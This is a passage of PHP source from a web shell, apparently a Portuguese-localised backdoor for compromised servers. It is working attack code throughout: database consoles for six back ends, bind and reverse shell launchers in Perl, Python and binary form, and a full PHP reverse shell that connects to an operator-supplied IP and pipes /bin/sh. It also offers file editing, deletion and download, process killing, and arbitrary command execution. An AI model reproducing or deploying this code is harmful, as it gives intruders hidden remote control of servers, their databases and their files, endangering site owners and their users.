foreach($querys as $query){
if(trim($query) != ""){
$hasil = pg_query($query);
if($hasil){
$q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
<table class=\"explore\" style=\"width:99%;\"><tr>";

for($i=0;$i<pg_num_fields($hasil);$i++) $q_result .= "<th>".htmlspecialchars(pg_field_name($hasil,$i)). "</th>";
$q_result .= "</tr>";
while($rows=pg_fetch_array($hasil)){ $q_result .= "<tr>";
for($j=0;$j<pg_num_fields($hasil);$j++){
if($rows[$j] == "") $dataz = " ";
else $dataz = $rows[$j];
$q_result .= "<td>".htmlspecialchars($dataz)."</td>";
}

$q_result .= "</tr>";
}

$q_result .= "</table>";
} else $q_result .= "
<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
</p>";
}
}
}
}

elseif(isset($_REQUEST['odbccon']) && ($con = odbc_connect($odbcdsn,$odbcuser,$odbcpass))){
if(isset($_REQUEST['sqlcode'])){
$sqls = ss($_REQUEST['sqlcode']);
$querys = explode("",$sqls);
foreach($querys as $query){
if(trim($query) != ""){
$hasil = odbc_exec($con, $query);
if($hasil){
$q_result .= "
<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
<span class=\"gaya\">[</span> ok <span class=\"gaya\">]
</span>
</p>
<table class=\"explore\" style=\"width:99%;\">
<tr>";

for($i=1;$i<=odbc_num_fields($hasil);$i++) $q_result .= "<th>".htmlspecialchars(odbc_field_name($hasil,$i) )."</th>";
$q_result .= "</tr>";
while($rows=odbc_fetch_array($hasil)){
$q_result .= "<tr>"; foreach($rows as $r){
if($r == "") $dataz = " ";
else $dataz = $r;
$q_result .= "<td>".htmlspecialchars($dataz)."</td>";
}

$q_result .= "</tr>";
} $q_result .= "</table>";
}

else $q_result .= "
<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
<span class=\"gaya\">[</span> ERRO <span class=\"gaya\">]</span></p>";
}
}
}

else $sqls = "";
$s_result .= "
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
<input type=\"hidden\" name=\"odbcdsn\" value=\"".$odbcdsn."\" />
<input type=\"hidden\" name=\"odbcuser\" value=\"".$odbcuser."\" />
<input type=\"hidden\" name=\"odbcpass\" value=\"".$odbcpass."\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
<textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
<p>
<input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
  Separe comandos multiplos com ponto e virgula
<span class=\"gaya\">[</span>;
<span class=\"gaya\">]</span>
</p>
</form>";

$s_result .= "<div>".$q_result."</div>";
if($con) odbc_close($con);
}

else{
if(isset($_REQUEST['pdocon'])){
try{ $mypdo = new PDO($pdodsn,$pdouser,$pdopass);
if(isset($_REQUEST['sqlcode'])){
$sqls = ss($_REQUEST['sqlcode']);
$querys = explode("",$sqls);
foreach($querys as $query){
if(trim($query) != ""){
if($hasil = $mypdo->query($query)){
$q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
<span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
<table class=\"explore\" style=\"width:99%;\">
<tr>";

$r = $hasil->fetch(PDO::FETCH_ASSOC);
$savefirstrow = array();
foreach($r as $fn=>$fv){
$q_result .= "<th>".htmlspecialchars($fn)."</th>";
$savefirstrow[] = $fv;
}

$q_result .= "</tr><tr>";
foreach($savefirstrow as $fv){
$q_result .= "<td>".htmlspecialchars($fv)."</td>";
}

$q_result .= "</tr>";
while($rows = $hasil->fetch(PDO::FETCH_ASSOC)){
$q_result .= "<tr>";
foreach($rows as $r){
if($r == "") $dataz = " ";
else $dataz = $r; $q_result .= "<td>".htmlspecialchars($dataz)."</td>";
}

$q_result .= "</tr>";
}

$q_result .= "</table>";
}

else{
$q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";   
<span class=\"gaya\">[</span> ERRO <span class=\"gaya\">]</span></p>";
}

$q_result .= "</table>";
}
}
}

else $sqls = ""; $s_result .= "
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">
<input type=\"hidden\" name=\"pdodsn\" value=\"".$pdodsn."\" />
<input type=\"hidden\" name=\"pdouser\" value=\"".$pdouser."\" />
<input type=\"hidden\" name=\"pdopass\" value=\"".$pdopass."\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
<textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
<p>
<input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
<span class=\"gaya\">[</span>;
<span class=\"gaya\">]</span>
</p>
</form>";

$s_result .= "<div>".$q_result."</div>";
}

catch(PDOException $uck){
die();
}
}

else{
$s_result .= "
<div class=\"mybox\"><h2>Conectar no MySQL</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:120px;\">Host</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost1\" value=\"".$sqlhost1."\" /></td>
</tr>

<tr>
<td>Usuario</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser1\" value=\"".$sqluser1."\" /></td>
</tr>

<tr>
<td>Senha</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass1\" value=\"\" /></td>
</tr>

<tr>
<td>Porta (opcional)</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$sqlport1."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Conectar !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Conectar no MsSQL</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:120px;\">Host</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost2\" value=\"".$sqlhost2."\" /></td>
</tr>

<tr>
<td>Usuario</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser2\" value=\"".$sqluser2."\" /></td>
</tr>

<tr>
<td>Senha</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass2\" value=\"\" /></td>
</tr>

<tr>
<td>Porta (opcional)</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$sqlport2."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Conectar !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Conectar no PostgreSQL</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:120px;\">Host</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost3\" value=\"".$sqlhost3."\" /></td>
</tr>

<tr>
<td>Usuario</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser3\" value=\"".$sqluser3."\" /></td>
</tr>

<tr>
<td>Senha</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass3\" value=\"\" /></td>
</tr>

<tr>
<td>Porta (opcional)</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$sqlport3."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"pgsqlcon\" class=\"inputzbut\" value=\"Conectar !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Conectar no Oracle</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:120px;\">Host</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlhost4\" value=\"".$sqlhost4."\" /></td>
</tr>

<tr>
<td>Usuario</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqluser4\" value=\"".$sqluser4."\" /></td>
</tr>

<tr>
<td>Senha</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"sqlpass4\" value=\"\" /></td>
</tr>

<tr>
<td>Porta (opcional)</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport4\" value=\"".$sqlport4."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Conectar !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Conectar usando ODBC</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:120px;\">DSN / String de conexão</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcdsn\" value=\"".$odbcdsn."\" /></td>
</tr>

<tr>
<td>Usuario</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"odbcuser\" value=\"".$odbcuser."\" /></td>
</tr>

<tr>
<td>Senha</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"odbcpass\" value=\"\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"odbccon\" class=\"inputzbut\" value=\"Conectar !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Conectar usando PDO</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:120px;\">DSN / String de Conexão</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdodsn\" value=\"".$pdodsn."\" /></td>
</tr>

<tr>
<td>Usuario</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"pdouser\" value=\"".$pdouser."\" /></td>
</tr>

<tr>
<td>Senha</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"password\" name=\"pdopass\" value=\"\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"pdocon\" class=\"inputzbut\" value=\"Conectar !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";
}
}

if(isset($_REQUEST['rs'])){
$rshost = $s_server_ip; $rstarget = "";
$d = $pwd; if(isset($_REQUEST['d'])) $d = ss($_REQUEST['d']); $rsport = "13123";
$rspesan = "Pressione ' Go ! ' e execute ' nc <i>ip</i> <i>porta</i> ' no seu computador";
$rspesanb = "Pressione ' nc -l -v -p <i>porta</i> ' no seu computador e pressione o botão ' Go ! '";
$rsport1 = $rsport; $rsport2 = $rsport;
$rsport3 = $rsport;

if(isset($_REQUEST['xbind_pl'])){
if(isset($_REQUEST['sqlport1'])) $rsport1 = ss($_REQUEST['sqlport1']);
$rstarget = $rsport1; $rsres = rs($s_win, cp($d), "xbind_pl" ,$xbind_pl, $rstarget);
$s_result .= $rsres;
}

if(isset($_REQUEST['xbind_py'])){
if(isset($_REQUEST['sqlport2'])) $rsport2 = ss($_REQUEST['sqlport2']);
$rstarget = $rsport2;
$rsres = rs($s_win, cp($d), "xbind_py" ,$xmulti_py, $rstarget);
$s_result .= $rsres;
}

if(isset($_REQUEST['xbind_bin'])){
if(isset($_REQUEST['sqlport3'])) $rsport3 = ss($_REQUEST['sqlport3']);
$rstarget = $rsport3;
if(!$s_win) $rsres = rs($s_win, cp($d), "xbind_bin" ,$xbind_c, $rstarget);
else $rsres = rs($s_win, cp($d), "xbind_bin" ,$wmulti_c, $rstarget);
$s_result .= $rsres;
}

$rsportb1 = $rsport;
$rsportb2 = $rsport;
$rsportb3 = $rsport;
$rsportb4 = $rsport;
$rstarget1 = $s_my_ip;
$rstarget2 = $s_my_ip;
$rstarget3 = $s_my_ip;
$rstarget4 = $s_my_ip;

if(isset($_REQUEST['xback_pl'])){
if(isset($_REQUEST['sqlportb1'])) $rsportb1 = ss($_REQUEST['sqlportb1']);
if(isset($_REQUEST['rstarget1'])) $rstarget1 = ss($_REQUEST['rstarget1']);
$rstarget = $rsportb1." ".$rstarget1;
$rsres = rs($s_win, cp($d), "xback_pl" ,$xback_pl, $rstarget);
$s_result .= $rsres;
}

if(isset($_REQUEST['xback_py'])){
if(isset($_REQUEST['sqlportb2'])) $rsportb2 = ss($_REQUEST['sqlportb2']);
if(isset($_REQUEST['rstarget2'])) $rstarget2 = ss($_REQUEST['rstarget2']);
$rstarget = $rsportb2." ".$rstarget2;
$rsres = rs($s_win, cp($d), "xback_py" ,$xmulti_py, $rstarget);
$s_result .= $rsres;
}

if(isset($_REQUEST['xback_bin'])){
if(isset($_REQUEST['sqlportb3'])) $rsportb3 = ss($_REQUEST['sqlportb3']);
if(isset($_REQUEST['rstarget3'])) $rstarget3 = ss($_REQUEST['rstarget3']);
$rstarget = $rsportb3." ".$rstarget3;
if(!$s_win) $rsres = rs($s_win, cp($d), "xback_bin" ,$xback_c, $rstarget);
else $rsres = rs($s_win, cp($d), "xback_bin" ,$wmulti_c, $rstarget);
$s_result .= $rsres;
}

if(isset($_REQUEST['xback_php'])){
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
$ip = $rstarget4;
$port = $rsportb4;
$chunk_size = 1337;
$write_a = null;
$error_a = null;
$shell = '/bin/sh';
$daemon = 0;
$debug = 0;

if(function_exists('pcntl_fork')){
$pid = pcntl_fork();
if ($pid == -1) exit(1);
if ($pid) exit(0);
if (posix_setsid() == -1) exit(1);
$daemon = 1;
}

umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w"));

$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

while(1){
if(feof($sock)) break;
if(feof($pipes[1])) break;
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){
$input = fread($sock, $chunk_size);
fwrite($pipes[0], $input);
}

if(in_array($pipes[1], $read_a)){
$input = fread($pipes[1], $chunk_size);
fwrite($sock, $input);
}

if(in_array($pipes[2], $read_a)){
$input = fread($pipes[2], $chunk_size);
fwrite($sock, $input);
}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
$rsres = " ";
$s_result .= $rsres;
}

$s_result .= "
<div class=\"mybox\"><h2>Bind shell ( perl )</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:100px;\">Server IP</td>
<td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost1\" value=\"".$rshost."\" /></td>
</tr>

<tr>
<td>Porta</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport1\" value=\"".$rsport1."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"xbind_pl\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  <span id=\"rs1\">".$rspesan."</span>
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Bind shell ( python )</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:100px;\">Server IP</td>
<td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td>
</tr>

<tr>
<td>Porta</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport2\" value=\"".$rsport2."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"xbind_py\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  <span id=\"rs1\">".$rspesan."</span>
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Bind shell ( bin )</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:100px;\">Server IP</td>
<td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td>
</tr>

<tr>
<td>Porta</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$rsport3."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"xbind_bin\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  <span id=\"rs1\">".$rspesan."</span>
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Shell reversa ( perl )</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:100px;\">Seu IP</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget1\" value=\"".$rstarget1."\" /></td>
</tr>

<tr>
<td>Porta</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb1\" value=\"".$rsportb1."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"xback_pl\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  <span id=\"rs1\">".$rspesanb."</span>
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Shell reversa ( python )</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:100px;\">Your IP</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget2\" value=\"".$rstarget2."\" /></td>
</tr>

<tr>
<td>Porta</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb2\" value=\"".$rsportb2."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"xback_py\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  <span id=\"rs1\">".$rspesanb."</span>
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Shell reversa ( bin )</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:100px;\">Your IP</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget3\" value=\"".$rstarget3."\" /></td>
</tr>

<tr>
<td>Porta</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb3\" value=\"".$rsportb3."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"xback_bin\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  <span id=\"rs1\">".$rspesanb."</span>
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

$s_result .= "
<div class=\"mybox\"><h2>Shell reversa ( php )</h2>
<form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
<table class=\"myboxtbl\">
<tr>
<td style=\"width:100px;\">Your IP</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget4\" value=\"".$rstarget4."\" /></td>
</tr>

<tr>
<td>Porta</td>
<td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb4\" value=\"".$rsportb4."\" /></td>
</tr>
</table>
<input type=\"submit\" name=\"xback_php\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  <span id=\"rs1\">".$rspesanb."</span>
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
</div>";

}

elseif(isset($_REQUEST['view'])){
$f = ss($_REQUEST['view']);
if(isset($fnew) && (trim($fnew)!="")) $f = $fnew;
if(is_file($f)){ if(!$s_win && $s_posix){
$name = posix_getpwuid(fileowner($f));
$group = posix_getgrgid(filegroup($f));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}

else{
$owner = $s_user;
}

$filn = basename($f);

$s_result .= "
<table class=\"viewfile\" style=\"width:100%;\">
<tr>
<td style=\"width:140px;\">Filename</td>
<td>
<span id=\"".cs($filn)."_link\">".$f."</span>
<form action=\"" . $_SERVER['PHP_SELF'] . "?d=".$pwd."&view=".$f."\" method=\"post\" id=\"".cs($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".cs($filn)."_link','".cs($filn). "_form');\" />
</form>
</td>
</tr>

<tr>
<td>Tamanho</td>
<td>".gs($f)."</td>
</tr>

<tr>
<td>Permissão</td>
<td>".gp($f)."</td>
</tr>

<tr>
<td>Dono/Owner</td><td>".$owner."</td>
</tr>

<tr>
<td>Data de criação</td><td>".date("d-M-Y H:i",filectime($f))."</td>
</tr>

<tr>
<td>Ultima modificação</td><td>".date("d-M-Y H:i",filemtime($f))."</td>
</tr>

<tr>
<td>Ultimo acesso</td><td>".date("d-M-Y H:i",fileatime($f))."</td>
</tr>

<tr>
<td>Ações</td>
<td>
<a href=\"?d=".$pwd."&edit=".$f."\">editar</a> |
<a href=\"javascript:tukar('".cs($filn)."_link','".cs ($filn)."_form');\">renomear</a> |
<a href=\"?d=".$pwd."&delete=".$f."\">deletar</a> |
<a href=\"?d=".$pwd."&dl=".$f."\">download</a> (<a href=\"?d=".$pwd."&dlgzip=$f\">gzip</a>)
</td>
</tr>

<tr>
<td>Ver</td>
<td>
<a href=\"?d=".$pwd."&view=".$f."&type=text\" >texto</a> |
<a href=\"?d=".$pwd."&view=".$f."&type=code\" >codigo</a> |
<a href=\"?d=".$pwd."&view=".$f."&type=image\ ">imagem</a>
</td>
</tr>
</table>
";

$t = "";
$iinfo = getimagesize($f);
if(substr($filn,-3,3) == "php") $t = "code";
if(is_array($iinfo)) $t = 'image';
if(isset($_REQUEST['type'])) $t = ss($_REQUEST['type']);
if($t=="image"){
$width = (int) $iinfo[0]; $height = (int) $iinfo[1];
$imginfo = "Image type = ( ".$iinfo['mime']." )<br />
Tamanho da imagem = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />";
if($width > 800){
$width = 800;
$imglink = "<p><a href=\"?d=".$pwd."&img=".$filn."\" target=\"_blank\">
<span class=\"gaul\">[ </span>Ver tamanho inteiro<span class=\"gaul\"> ]</span></a></p>";
}

else $imglink = "";
$s_result .= "<div class=\"viewfilecontent\" style=\"text-align:center;\">".$imglink."
<img width=\"".$width."\" src=\"?d=".$pwd."&img=".$filn."\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>";
}

elseif($t=="code"){
$s_result .= "<div class=\"viewfilecontent\">";
$file = wordwrap(file_get_contents($f),160,"\n",true);
$buff = highlight_string($file,true);
$old = array("0000BB","000000","FF8000","DD0000", "007700");
$new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
$buff = str_ireplace($old,$new, $buff);
$s_result .= $buff; $s_result .= "</div>";
}

else{
$s_result .= "<div class=\"viewfilecontent\">";
$s_result .= nl2br(htmlentities(wordwrap(file_get_contents($f), 160,"\n",true)));
$s_result .= "</div>";
}
}

elseif(is_dir($f)){
chdir($f);
$pwd = cp(getcwd());
$s_result .= showdir($pwd,$s_prompt,$s_win);
}
}

elseif(isset($_REQUEST['edit'])){
$f = ss($_REQUEST['edit']);
$fc = "";
$fcs = "";
if(is_file($f)) $fc = file_get_contents($f);
if(isset($_REQUEST['fcsubmit'])){
$fc = ssc($_REQUEST['fc']);
if($filez = fopen($f,"w")){
$time = date("d-M-Y H:i",time());
if(fwrite($filez,$fc)) $fcs = "Arquivo salvo <span class=\"gaya\">@</span> ".$time;

else $fcs = "Falha ao salvar";
fclose($filez);

}

else $fcs = "Permissão negada";
}

$s_result .= "
<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\">
<textarea id=\"fc\" name=\"fc\" class=\"evalcode\">".htmlspecialchars($fc)."</textarea>
<p>
<input type=\"text\" class=\"inputz\" style=\"width:98%;\" name=\"edit\" value=\"".$f."\" />
</p>
<p>
<input type=\"submit\" name=\"fcsubmit\" class=\"inputzbut\" value=\"Salvar !\" style=\"width:120px;height:30px;\" />
  ".$fcs."
</p>
<input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
</form>
";
}

elseif(isset($_REQUEST['ps'])){
$s_result = "<table class=\"explore sortable\">";

if(!$s_win) $h = "ps -aux";

else $h = "tasklist /V /FO csv";
$wcount = 11;
$wexplode = " ";

if($s_win) $wexplode = "\",\"";
$res = exe($h);

if(trim($res)=='') $s_result .= "<p class=\"rs_result\">ERRO: Permissão negada</p>";

else{ if(!$s_win) $res = preg_replace('#\ +#',' ',$res);
$psarr = explode("\n",$res);
$fi = true;
$tblcount = 0;
$check = explode($wexplode,$psarr[0]);
$wcount = count($check);
foreach($psarr as $psa){
if(trim($psa)!=''){
if($fi){
$fi = false;
$psln = explode($wexplode,$psa,$wcount);
$s_result .= "<tr><th>Ação</th>";
foreach($psln as $p){
$s_result .= "<th>".trim(trim(strtolower($p)),"\"")."</th>";
}

$s_result .= "</tr>";
}

else{
$psln = explode($wexplode,$psa,$wcount);
$s_result .= "<tr>";
$tblcount = 0;
foreach($psln as $p){
if(trim($p)=="") $p = " ";
if($tblcount == 0){
$s_result .= "
<td style=\"text-align:center;\">
<a href=\"?ps&d=".$pwd."&pid=".trim(trim($psl n[1]),"\"")."\">kill</a>
</td>
<td style=\"text-align:center;\">".trim(trim($p),"\"")."</td>";

$tblcount++;
}

else{
$tblcount++;
if($tblcount == count($psln)) $s_result .= "
<td style=\"text-align:left;\">".trim(trim($p), "\"")."</td>";

else $s_result .= "<td style=\"text-align:center;\">".trim(trim($p), "\"")."</td>";
}
}

$s_result .= "</tr>";
}

}
}

$s_result .= "</table>";
}
}

else{
if(isset($_REQUEST['cmd'])){
$cmd = ss($_REQUEST['cmd']);
if(strlen($cmd) > 0){
if(preg_match('#^cd(\ )+(.*)$#',$cmd,$r)){
$nd = trim($r[2]);
if(is_dir($nd)){
chdir($nd);
$pwd = cp(getcwd());
$s_result .= showdir($pwd,$s_prompt,$s_win);
}

elseif(is_dir($pwd.$nd)){
chdir($pwd.$nd);
$pwd = cp(getcwd());
$s_result .= showdir($pwd,$s_prompt,$s_win);
}

else $s_result .= "<pre>".$nd." não é um diretório"."</pre>";
}

else{
$s_r = htmlspecialchars(exe($cmd));
if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
else $s_result .= showdir($pwd,$s_prompt,$s_win);
}
}

else $s_result .= showdir($pwd,$s_prompt,$s_win);
}

else $s_result .= showdir($pwd,$s_prompt,$s_win);
}

$s_info = "<table class=\"headtbl\"><tr><td>".$s_software."</td></tr>";
$s_info .= "<tr><td>".$s_system."</td></tr>";

if($s_id != "") $s_info .= "<tr><td>".$s_id."</td></tr>";
$s_info .= "<tr><td>IP do Server : ".$s_server_ip."<span class=\"gaya\"> | </span>Seu IP : ".$s_my_ip."<span class=\"gaya\"> | </span>";
if($s_safemode) $s_info .= "safemode <span class=\"gaya\">LIGADO</span>";

else $s_info .= "safemode <span class=\"gaya\">DESLIGADO</span>";
$s_info .= "<span class=\"gaya\"> | </span> Time @ Server : ".date("d M Y H:i:s",time()); $s_info .= "
</td>
</tr>

<tr>
<td style=\"text-align:left;\">
<table class=\"headtbls\"><tr>
<td>".trim($letters)."</td>
<td>

<span id=\"chpwd\">
 <a href=\"javascript:tukar('chpwd','chpwdform')\">
<img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />
  </a>".swd($pwd)."</span>

<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" style=\"margin:0;padding:0;\">
<span class=\"sembunyi\" id=\"chpwdform\">
